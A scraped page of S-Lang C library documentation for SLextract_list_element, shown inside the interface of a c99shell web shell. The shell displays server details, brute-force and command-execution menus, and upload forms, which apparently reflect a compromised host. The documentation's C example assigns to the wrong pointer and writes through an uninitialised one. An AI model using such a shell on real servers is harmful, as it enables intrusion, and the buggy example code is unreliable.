!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/doc/slang-1.4.5/html/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cref-128.html (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
{The S-lang C Library Reference}: SLextract_list_element Next Previous Contents

128. SLextract_list_element

Synopsis

Extract a substring of a delimited string

Usage

int SLextract_list_element (dlist, nth, delim, buf, buflen)

    char *dlist;
    unsigned int nth;
    char delim;
    char *buf;
    unsigned int buflen;
Description

SLextract_list_element may be used to obtain the nth element of a list of strings, dlist, that are delimited by the character delim. The routine copies the nth element of dlist to the buffer buf whose size is buflen characters. It returns zero upon success, or -1 if dlist does not contain an nth element.

Example

A delimited list of strings may be turned into an array of strings as follows. For conciseness, all malloc error checking has been omitted.

    int list_to_array (char *list, char delim, char ***ap)
    {
       unsigned int nth;
       char **a;
       char buf[1024];

       /* Determine the size of the array */
       nth = 0;
       while (0 == SLextract_list_element (list, nth, delim, buf, sizeof(buf)))
         nth++;
       
       ap = (char **) SLmalloc ((nth + 1) * sizeof (char **));
       nth = 0;
       while (0 == SLextract_list_element (list, nth, delim, buf, sizeof(buf)))
         {
             a[nth] = SLmake_string (buf);
             nth++;
         }
       a[nth] = NULL;
       *ap = a;
       return 0;
    }
See Also

SLmalloc, SLmake_string


Next Previous Contents

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0127 ]--